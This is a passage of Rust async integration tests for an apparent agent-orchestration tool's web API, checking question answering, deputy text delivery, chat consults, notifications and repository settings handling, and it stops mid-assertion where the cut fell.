12678            Path(text.id.clone()),
12679            Ok(Json(NewAnswer {
12680                choice: None,
12681                text: Some("chosen name".into()),
12682                ..Default::default()
12683            })),
12684        )
12685        .await
12686        .unwrap();
12687        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12688        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12689    }
12690
12691    #[tokio::test]
12692    async fn question_text_handler_admission_without_transport() {
12693        let home = tempfile::tempdir().unwrap();
12694        let ui = delta_test_ui(home.path());
12695        let mut q = Question::new(
12696            "task".into(),
12697            crate::land::APPROVAL_NODE.into(),
12698            "land".into(),
12699            "May this PR merge?".into(),
12700            String::new(),
12701            vec!["hold".into()],
12702        );
12703        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12704        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12705        ui.questions.put(&mut q).unwrap();
12706        let say = || {
12707            Ok(Json(NewSay {
12708                body: "Explain the findings".into(),
12709            }))
12710        };
12711        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12712            .await
12713            .unwrap_err();
12714        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12715        let response = rejected.into_response();
12716        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12717            .await
12718            .unwrap();
12719        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12720        assert_eq!(body["code"], "question_text_unavailable");
12721        assert_eq!(body["reason"], "deputy_exhausted");
12722        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12723        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12724        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12725        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12726            .await
12727            .unwrap();
12728        assert_eq!(view.text_delivery.state, "live");
12729        assert!(view.question.waiter.is_none());
12730        assert!(view.question.cwd.is_none());
12731        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12732        ui.questions.drop_lease(&q.id);
12733        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12734            .await
12735            .unwrap_err();
12736        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12737        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12738        let _ = question_answer(
12739            State(ui.clone()),
12740            Path(q.id.clone()),
12741            Ok(Json(NewAnswer {
12742                choice: Some("hold".into()),
12743                text: None,
12744                ..Default::default()
12745            })),
12746        )
12747        .await
12748        .unwrap();
12749        assert_eq!(
12750            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12751            Some("hold")
12752        );
12753    }
12754
12755    #[tokio::test]
12756    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12757        let fx = Fixture::start().await;
12758        let store = fx.questions();
12759        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12760        store
12761            .update(&id, |q| {
12762                q.node = crate::land::APPROVAL_NODE.to_owned();
12763                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12764                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12765                Ok(())
12766            })
12767            .unwrap();
12768        let path = format!("/api/questions/{id}/say");
12769        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12770        assert_eq!(refused.status, 422, "{}", refused.body);
12771        assert!(
12772            refused.json()["error"]
12773                .as_str()
12774                .unwrap()
12775                .contains("deputy_exhausted")
12776        );
12777        assert!(store.get(&id).unwrap().thread.is_empty());
12778
12779        // A final live deputy is usable even with no ordinary waiter/cwd.
12780        store.beat(&id, ask::WaiterKind::Deputy);
12781        let view = fx.get("/api/questions").await.json();
12782        assert_eq!(view[0]["text_delivery"]["state"], "live");
12783        let accepted = fx
12784            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12785            .await;
12786        assert_eq!(accepted.status, 200, "{}", accepted.body);
12787        let before = std::fs::read(store.path_of(&id)).unwrap();
12788
12789        // The recipient exits between rendering and sending. Rejection must
12790        // preserve previously accepted text, the answer and delivery cursor.
12791        store.drop_lease(&id);
12792        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12793        assert_eq!(refused.status, 422, "{}", refused.body);
12794        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12795        let held = fx
12796            .post(
12797                &format!("/api/questions/{id}/answer"),
12798                Some(r#"{"choice":"hold"}"#),
12799            )
12800            .await;
12801        assert_eq!(held.status, 200, "{}", held.body);
12802        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12803    }
12804
12805    #[tokio::test]
12806    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12807        let repo = tempfile::tempdir().unwrap();
12808        let mut cfg = stub_config();
12809        cfg.daemon.max_deputies = 0;
12810        std::fs::write(
12811            repo.path().join("magi.toml"),
12812            toml::to_string(&cfg).unwrap(),
12813        )
12814        .unwrap();
12815        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12816        let mut status = crate::daemon::Status::new();
12817        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12818        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12819        let id = ask(&fx, "Explain?", &["hold"]);
12820        fx.questions()
12821            .update(&id, |q| {
12822                q.node = crate::land::APPROVAL_NODE.into();
12823                q.deputy = Some(ask::Deputy::new("context".into()));
12824                q.deputy.as_mut().unwrap().agent = "stub".into();
12825                Ok(())
12826            })
12827            .unwrap();
12828        cfg.daemon.max_deputies = 1;
12829        std::fs::write(
12830            repo.path().join("magi.toml"),
12831            toml::to_string(&cfg).unwrap(),
12832        )
12833        .unwrap();
12834        let view = fx.get("/api/questions").await.json();
12835        assert_eq!(view[0]["deputies_enabled"], true);
12836        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12837        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12838        let res = fx
12839            .post(
12840                &format!("/api/questions/{id}/say"),
12841                Some(r#"{"body":"Please explain"}"#),
12842            )
12843            .await;
12844        assert_eq!(res.status, 422, "{}", res.body);
12845        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12846    }
12847
12848    #[tokio::test]
12849    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12850        let fx = Fixture::start().await;
12851        let id = ask(&fx, "No seat", &[]);
12852        let store = fx.questions();
12853        let before = std::fs::read(store.path_of(&id)).unwrap();
12854        let res = fx
12855            .post(
12856                &format!("/api/questions/{id}/say"),
12857                Some(r#"{"body":"hello"}"#),
12858            )
12859            .await;
12860        assert_eq!(res.status, 422, "{}", res.body);
12861        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12862        let res = fx
12863            .post(
12864                &format!("/api/questions/{id}/answer"),
12865                Some(r#"{"text":"hello"}"#),
12866            )
12867            .await;
12868        assert_eq!(res.status, 200, "{}", res.body);
12869        assert_eq!(
12870            store.get(&id).unwrap().resolution().as_deref(),
12871            Some("hello")
12872        );
12873    }
12874
12875    #[tokio::test]
12876    async fn saying_something_appends_a_turn_without_answering() {
12877        let fx = Fixture::start().await;
12878        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12879        fx.questions().beat(&id, ask::WaiterKind::Asker);
12880        let path = format!("/api/questions/{id}/say");
12881
12882        let res = fx
12883            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12884            .await;
12885        assert_eq!(res.status, 200, "{}", res.body);
12886        let body = res.json();
12887        assert_eq!(body["status"], "open", "talking back is not a decision");
12888        assert_eq!(body["answer"], Value::Null);
12889        assert_eq!(body["thread"][0]["who"], "operator");
12890        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12891        assert_eq!(body["waiting_on_agent"], true);
12892        // Still open, still counted, still exactly one question.
12893        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12894    }
12895
12896    #[tokio::test]
12897    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12898        let fx = Fixture::start().await;
12899        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12900
12901        let list = fx.get("/api/questions").await.json();
12902        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12903
12904        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12905        assert_eq!(res.status, 409, "{}", res.body);
12906        let q = fx.questions().get(&id).unwrap();
12907        assert!(q.status.open());
12908        assert!(q.consult.is_none());
12909    }
12910
12911    #[tokio::test]
12912    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12913        let fx = Fixture::start().await;
12914        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12915        let cfg = Config {
12916            agents: vec![crate::config::AgentSpec {
12917                id: "mock".to_owned(),
12918                kind: crate::config::AgentKind::Command,
12919                model: None,
12920                command: vec!["true".to_owned()],
12921                extra_args: Vec::new(),
12922                env: Default::default(),
12923                prompt_delivery: None,
12924                max_turn_secs: None,
12925            }],
12926            ..Config::default()
12927        };
12928        let talk = crate::talk::begin(
12929            &fx.talks(),
12930            &cfg,
12931            fx.home.path().to_path_buf(),
12932            Some("mock"),
12933        )
12934        .unwrap();
12935        let mut task = Task::new(
12936            "t".to_owned(),
12937            "Do it".to_owned(),
12938            PathBuf::from("/repo/magi"),
12939            Source::Agent {
12940                run: talk.id.clone(),
12941                node: crate::queue::CHAT_NODE.to_owned(),
12942            },
12943        );
12944        task.start("20260902-000000-beef".to_owned());
12945        fx.queue().put(&mut task).unwrap();
12946
12947        let list = fx.get("/api/questions").await.json();
12948        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12949        assert_eq!(
12950            list[0]["choices"],
12951            serde_json::json!(["SQLite", "Redis"]),
12952            "the hand-over is never a choice"
12953        );
12954        fx.questions()
12955            .update(&id, |q| {
12956                q.node = crate::land::APPROVAL_NODE.into();
12957                q.choices = vec!["merge".into(), "hold".into()];
12958                Ok(())
12959            })
12960            .unwrap();
12961        let list = fx.get("/api/questions").await.json();
12962        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12963        assert_eq!(list[0]["can_consult_chat"], true);
12964        fx.questions()
12965            .update(&id, |q| {
12966                q.node = crate::bump::NOTICE_NODE.into();
12967                Ok(())
12968            })
12969            .unwrap();
12970        let list = fx.get("/api/questions").await.json();
12971        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12972        assert_eq!(list[0]["can_consult_chat"], false);
12973    }
12974
12975    #[tokio::test]
12976    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12977        let fx = Fixture::start().await;
12978        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12979        fx.questions()
12980            .update(&id, |q| {
12981                q.node = crate::land::APPROVAL_NODE.into();
12982                q.choices = vec!["merge".into(), "hold".into()];
12983                Ok(())
12984            })
12985            .unwrap();
12986        let cfg = Config {
12987            agents: vec![crate::config::AgentSpec {
12988                id: "mock".to_owned(),
12989                kind: crate::config::AgentKind::Command,
12990                model: None,
12991                command: vec!["true".to_owned()],
12992                extra_args: Vec::new(),
12993                env: Default::default(),
12994                prompt_delivery: None,
12995                max_turn_secs: None,
12996            }],
12997            ..Config::default()
12998        };
12999        // Not a git working tree, so its `magi.toml` is read from disk.
13000        let repo = fx.home.path().join("chat-repo");
13001        std::fs::create_dir_all(&repo).unwrap();
13002        let toml = repo.join("magi.toml");
13003        std::fs::write(&toml, "this is = = not toml").unwrap();
13004        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13005        let mut task = Task::new(
13006            "t".to_owned(),
13007            "Do it".to_owned(),
13008            PathBuf::from("/repo/magi"),
13009            Source::Agent {
13010                run: talk.id.clone(),
13011                node: crate::queue::CHAT_NODE.to_owned(),
13012            },
13013        );
13014        task.start("20260902-000000-beef".to_owned());
13015        fx.queue().put(&mut task).unwrap();
13016
13017        let path = format!("/api/questions/{id}/consult");
13018        let res = fx.post(&path, None).await;
13019        assert!(res.status >= 400, "{}", res.body);
13020        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13021        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13022
13023        std::fs::write(&toml, "").unwrap();
13024        let res = fx.post(&path, None).await;
13025        assert_eq!(res.status, 202, "{}", res.body);
13026        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13027        let q = fx.questions().get(&id).unwrap();
13028        assert!(q.status.open());
13029        assert!(q.answer.is_none());
13030        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13031        assert_eq!(res.json()["can_consult_chat"], true);
13032        let list = fx.get("/api/questions").await.json();
13033        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13034        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13035
13036        let res = fx
13037            .post(
13038                &format!("/api/questions/{id}/answer"),
13039                Some(r#"{"choice":"hold"}"#),
13040            )
13041            .await;
13042        assert_eq!(res.status, 200, "{}", res.body);
13043        assert_eq!(res.json()["answer"]["choice"], "hold");
13044        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13045        assert_eq!(res.json()["can_consult_chat"], false);
13046        assert_eq!(fx.post(&path, None).await.status, 409);
13047
13048        let mut talk = fx.talks().get(&talk.id).unwrap();
13049        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13050        let list = fx.get("/api/questions").await.json();
13051        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13052        assert_eq!(list[0]["origin_chat_closed"], true);
13053        assert_eq!(list[0]["can_consult_chat"], false);
13054
13055        fx.talks().remove(&talk.id).unwrap();
13056        let list = fx.get("/api/questions").await.json();
13057        assert_eq!(list[0]["origin_chat"], Value::Null);
13058        assert_eq!(list[0]["origin_chat_closed"], false);
13059        assert_eq!(list[0]["can_consult_chat"], false);
13060    }
13061
13062    #[tokio::test]
13063    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13064        let fx = Fixture::start().await;
13065        let store = fx.questions();
13066        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13067        store.beat(&id, ask::WaiterKind::Asker);
13068        assert_eq!(
13069            fx.get("/api/health").await.json()["questions_needs_owner"],
13070            1
13071        );
13072
13073        // The owner asks back instead of deciding: the ask bar, the nav badge
13074        // and the title must stop naming this question, because there is
13075        // nothing to decide until the agent answers - `status` alone cannot
13076        // say that, which is the whole reason `questions_needs_owner` exists
13077        // alongside `questions_open`.
13078        let res = fx
13079            .post(
13080                &format!("/api/questions/{id}/say"),
13081                Some(r#"{"body":"why not Postgres?"}"#),
13082            )
13083            .await;
13084        assert_eq!(res.status, 200, "{}", res.body);
13085        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13086        assert_eq!(
13087            fx.get("/api/health").await.json()["questions_needs_owner"],
13088            0,
13089            "waiting on the agent is not waiting on the owner"
13090        );
13091
13092        // `magi ask --thread` replying is what brings the owner count back -
13093        // the same event that would resume the CLI call blocked in `magi
13094        // ask`.
13095        let mut q = store.get(&id).expect("get");
13096        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13097            .expect("reply");
13098        store.put(&mut q).expect("put");
13099        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13100        assert_eq!(
13101            fx.get("/api/health").await.json()["questions_needs_owner"],
13102            1,
13103            "the agent's reply is what should light the banner back up"
13104        );
13105    }
13106
13107    #[tokio::test]
13108    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13109        let fx = Fixture::start().await;
13110        let store = fx.questions();
13111
13112        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13113        let res = fx
13114            .post(
13115                &format!("/api/questions/{empty_id}/say"),
13116                Some(r#"{"body":"   "}"#),
13117            )
13118            .await;
13119        assert_eq!(res.status, 400, "{}", res.body);
13120
13121        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13122        let mut answered = store.get(&answered_id).expect("get");
13123        answered
13124            .answer(Answer::Choice("SQLite".to_owned()))
13125            .expect("answer");
13126        store.put(&mut answered).expect("put");
13127        let res = fx
13128            .post(
13129                &format!("/api/questions/{answered_id}/say"),
13130                Some(r#"{"body":"still there?"}"#),
13131            )
13132            .await;
13133        assert_eq!(res.status, 409, "{}", res.body);
13134
13135        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13136        let mut abandoned = store.get(&abandoned_id).expect("get");
13137        abandoned.abandon("timed out");
13138        store.put(&mut abandoned).expect("put");
13139        let res = fx
13140            .post(
13141                &format!("/api/questions/{abandoned_id}/say"),
13142                Some(r#"{"body":"still there?"}"#),
13143            )
13144            .await;
13145        assert_eq!(res.status, 409, "{}", res.body);
13146    }
13147
13148    #[tokio::test]
13149    async fn an_answer_the_question_does_not_offer_is_refused() {
13150        let fx = Fixture::start().await;
13151        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13152        let path = format!("/api/questions/{id}/answer");
13153
13154        for body in [
13155            r#"{"choice":"Postgres"}"#,
13156            r#"{"text":"whatever you think"}"#,
13157            r#"{"choice":"Redis","text":"both"}"#,
13158            r#"{}"#,
13159        ] {
13160            let res = fx.post(&path, Some(body)).await;
13161            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13162            assert!(res.json()["error"].is_string(), "{}", res.body);
13163        }
13164        // Nothing above may have answered it.
13165        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13166    }
13167
13168    #[tokio::test]
13169    async fn a_free_text_question_takes_text_and_not_a_choice() {
13170        let fx = Fixture::start().await;
13171        let id = ask(&fx, "What should the flag be called?", &[]);
13172        fx.questions().beat(&id, ask::WaiterKind::Asker);
13173        let path = format!("/api/questions/{id}/answer");
13174
13175        assert_eq!(
13176            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13177            400
13178        );
13179        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13180        assert_eq!(res.status, 200, "{}", res.body);
13181        assert_eq!(res.json()["answer"]["text"], "--json");
13182    }
13183
13184    #[tokio::test]
13185    async fn an_unknown_question_is_a_json_404() {
13186        let fx = Fixture::start().await;
13187        let res = fx
13188            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13189            .await;
13190        assert_eq!(res.status, 404, "{}", res.body);
13191        assert!(res.json()["error"].is_string());
13192    }
13193
13194    #[tokio::test]
13195    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13196        let fx = Fixture::start().await;
13197        let questions = Questions::at(fx.home.path().join("questions"));
13198        let store = Notices::at(fx.home.path().join("notifications"));
13199        let mut q = ask::Question::new(
13200            "t1".into(),
13201            "conduct".into(),
13202            "conductor".into(),
13203            "Continue?".into(),
13204            String::new(),
13205            Vec::new(),
13206        );
13207        questions.put(&mut q).unwrap();
13208        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13209        n.covered_by = Some(q.id.clone());
13210        let n = store.raise(n).unwrap();
13211        let listed = fx.get("/api/notifications").await.json();
13212        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13213        questions
13214            .update(&q.id, |q| {
13215                q.abandon("run gone");
13216                Ok(())
13217            })
13218            .unwrap();
13219        let listed = fx.get("/api/notifications").await.json();
13220        assert!(listed["items"][0]["answerable_question"].is_null());
13221        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13222        assert!(
13223            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13224                .unwrap()
13225                .contains("answerable_question")
13226        );
13227    }
13228
13229    #[tokio::test]
13230    async fn notifications_list_read_dismiss_and_health_agree() {
13231        let fx = Fixture::start().await;
13232        let store = Notices::at(fx.home.path().join("notifications"));
13233        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13234        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13235
13236        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13237        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13238
13239        store
13240            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13241            .unwrap();
13242        let health = fx.get("/api/health").await.json();
13243        assert_eq!(health["notifications_unread"], 2);
13244        assert_ne!(
13245            health["notifications_rev"], rev0,
13246            "the badge must move live"
13247        );
13248
13249        let listed = fx.get("/api/notifications").await.json();
13250        assert_eq!(listed["unread"], 2);
13251        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13252        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13253
13254        let read = fx
13255            .post(&format!("/api/notifications/{}/read", a.id), None)
13256            .await;
13257        assert_eq!(read.status, 200, "{}", read.body);
13258        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13259
13260        let gone = fx
13261            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13262            .await;
13263        assert_eq!(gone.status, 200, "{}", gone.body);
13264        let listed = fx.get("/api/notifications").await.json();
13265        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13266        assert_eq!(listed["unread"], 0);
13267
13268        store.raise(Notice::info("x", "again")).unwrap();
13269        let all = fx.post("/api/notifications/read-all", None).await;
13270        assert_eq!(all.status, 200, "{}", all.body);
13271        assert_eq!(all.json()["marked"], 1);
13272        assert_eq!(
13273            fx.get("/api/health").await.json()["notifications_unread"],
13274            0
13275        );
13276
13277        let missing = fx.post("/api/notifications/nope/read", None).await;
13278        assert_eq!(missing.status, 404, "{}", missing.body);
13279        assert!(missing.json()["error"].is_string());
13280    }
13281
13282    /// New work reaches the queue through `magi task add`, a standing talk's
13283    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13284    /// so the compose form and that route are gone. The tests that covered
13285    /// that route's validation went with it, and nothing was left asserting
13286    /// it stays gone — so a re-added handler would silently let the phone
13287    /// file briefs no one validated.
13288    #[tokio::test]
13289    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13290        let f = Fixture::start().await;
13291
13292        let res = f
13293            .post(
13294                "/api/queue",
13295                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13296            )
13297            .await;
13298
13299        assert_eq!(
13300            res.status, 405,
13301            "POST /api/queue must not be a route: {}",
13302            res.body
13303        );
13304        assert!(
13305            f.queue().list().is_empty(),
13306            "a task filed by a route that does not exist must not reach the disk"
13307        );
13308        // The path itself is still served — the Queue view reads it — and the
13309        // per-task controls are untouched by the entry being removed.
13310        assert_eq!(f.get("/api/queue").await.status, 200);
13311    }
13312
13313    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13314    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13315        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13316            .expect("checkout dir");
13317    }
13318
13319    /// Two command agents, so a config needs no real CLI.
13320    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13321
13322    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13323        let tmp = TempDir::new().expect("tempdir");
13324        let repo = tmp.path().join("repo");
13325        std::fs::create_dir_all(&repo).expect("repo dir");
13326        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13327        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13328        if let Some(text) = machine_toml {
13329            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13330            std::fs::write(&machine, text).expect("machine toml");
13331        }
13332        (tmp, repo, machine)
13333    }
13334
13335    async fn settings_checkout(path: &FsPath, text: &str) {
13336        std::fs::create_dir_all(path).unwrap();
13337        std::fs::write(path.join("magi.toml"), text).unwrap();
13338        for args in [
13339            vec!["init", "-b", "main"],
13340            vec!["add", "magi.toml"],
13341            vec![
13342                "-c",
13343                "user.name=Test",
13344                "-c",
13345                "user.email=test@example.invalid",
13346                "commit",
13347                "-m",
13348                "fixture",
13349            ],
13350            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13351            vec![
13352                "symbolic-ref",
13353                "refs/remotes/origin/HEAD",
13354                "refs/remotes/origin/main",
13355            ],
13356        ] {
13357            crate::git::git(path, &args).await.unwrap();
13358        }
13359    }
13360
13361    #[tokio::test]
13362    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13363        let (tmp, repo, machine) =
13364            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13365        let root = tmp.path().join("roots");
13366        let selected = root.join("host/owner/selected");
13367        settings_checkout(
13368            &selected,
13369            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13370        )
13371        .await;
13372        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13373        let before = std::fs::read(&machine).unwrap();
13374        let ui = Arc::new(
13375            Ui::new(
13376                Queue::at(tmp.path().join("queue")),
13377                Questions::at(tmp.path().join("questions")),
13378                Talks::at(tmp.path().join("talks")),
13379                tmp.path().join("runs"),
13380                tmp.path().to_path_buf(),
13381                repo.clone(),
13382            )
13383            .with_machine_config(Some(machine.clone())),
13384        );
13385        let query = || {
13386            Query(SettingsQuery {
13387                repo: Some(selected.clone()),
13388            })
13389        };
13390        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13391        assert!(v.error.is_none(), "{:?}", v.error);
13392        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13393        assert_eq!(conductor.source, "repo");
13394        assert_eq!(
13395            conductor.machine_value,
13396            Some(toml::Value::String("a".into()))
13397        );
13398        assert!(!conductor.editable);
13399        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13400        assert_eq!(
13401            judges.count.as_ref().unwrap().machine_value,
13402            Some(toml::Value::Integer(1))
13403        );
13404        assert!(
13405            !v.roles
13406                .iter()
13407                .find(|r| r.key == "reviewers")
13408                .unwrap()
13409                .editable
13410        );
13411        let unknown = || {
13412            Query(SettingsQuery {
13413                repo: Some(tmp.path().to_path_buf()),
13414            })
13415        };
13416        assert_eq!(
13417            settings_get(State(ui.clone()), unknown())
13418                .await
13419                .unwrap_err()
13420                .status,
13421            StatusCode::UNPROCESSABLE_ENTITY
13422        );
13423        let body = || {
13424            Ok(Json(RolesBody {
13425                revision: v.revision.clone(),
13426                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13427                counts: Default::default(),
13428            }))
13429        };
13430        assert_eq!(
13431            settings_put_roles(State(ui.clone()), unknown(), body())
13432                .await
13433                .unwrap_err()
13434                .status,
13435            StatusCode::UNPROCESSABLE_ENTITY
13436        );
13437        assert_eq!(std::fs::read(&machine).unwrap(), before);
13438        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13439            .await
13440            .unwrap();
13441        assert_eq!(
13442            saved.repo,
13443            selected.canonicalize().unwrap().display().to_string()
13444        );
13445        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13446        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13447        // A cache miss refreshes the stable candidate list exactly for validation.
13448        let fresh = root.join("host/owner/fresh");
13449        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13450        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13451            .await
13452            .unwrap();
13453        assert_eq!(fresh_view.repositories.len(), 3);
13454    }
13455
13456    #[tokio::test]
13457    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13458        let (tmp, repo, machine) = settings_dirs(
13459            "[roles]\nreviewers = [\"a\"]\n",
13460            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13461        );
13462        let root = tmp.path().join("roots");
13463        let selected = root.join("host/owner/selected");
13464        settings_checkout(
13465            &selected,
13466            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13467        )
13468        .await;
13469        let broken = root.join("host/owner/broken");
13470        settings_checkout(&broken, "[roles\nbroken").await;
13471        let machine_text = format!(
13472            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13473            toml::Value::String(root.display().to_string())
13474        );
13475        std::fs::write(&machine, &machine_text).unwrap();
13476        let originals: Vec<_> = [&repo, &selected, &broken]
13477            .iter()
13478            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13479            .collect();
13480        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13481        let default = f.get("/api/settings").await.json();
13482        assert_eq!(
13483            default["repo"],
13484            repo.canonicalize().unwrap().display().to_string()
13485        );
13486        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13487        let query = format!("?repo={}", selected.display());
13488        let res = f.get(&format!("/api/settings{query}")).await;
13489        assert_eq!(res.status, 200, "{}", res.body);
13490        let v = res.json();
13491        assert!(v["error"].is_null(), "{v}");
13492        assert_eq!(v["repositories"], default["repositories"]);
13493        let role = |key: &str| {
13494            v["roles"]
13495                .as_array()
13496                .unwrap()
13497                .iter()
13498                .find(|r| r["key"] == key)
13499                .unwrap()
13500        };
13501        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13502        assert_eq!(role("advisors")["source"], "repo");
13503        assert_eq!(role("advisors")["editable"], false);
13504        assert!(role("advisors")["machine_value"].is_null());
13505        assert_eq!(role("judges")["count"]["value"], 2);
13506        assert_eq!(role("judges")["count"]["machine_value"], 1);
13507        assert_eq!(role("judges")["count"]["source"], "repo");
13508        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13509        assert!(
13510            source.contains("origin/main") && !source.contains("magi/config/"),
13511            "{source}"
13512        );
13513        assert_eq!(
13514            role("reviewers")["editable"],
13515            false,
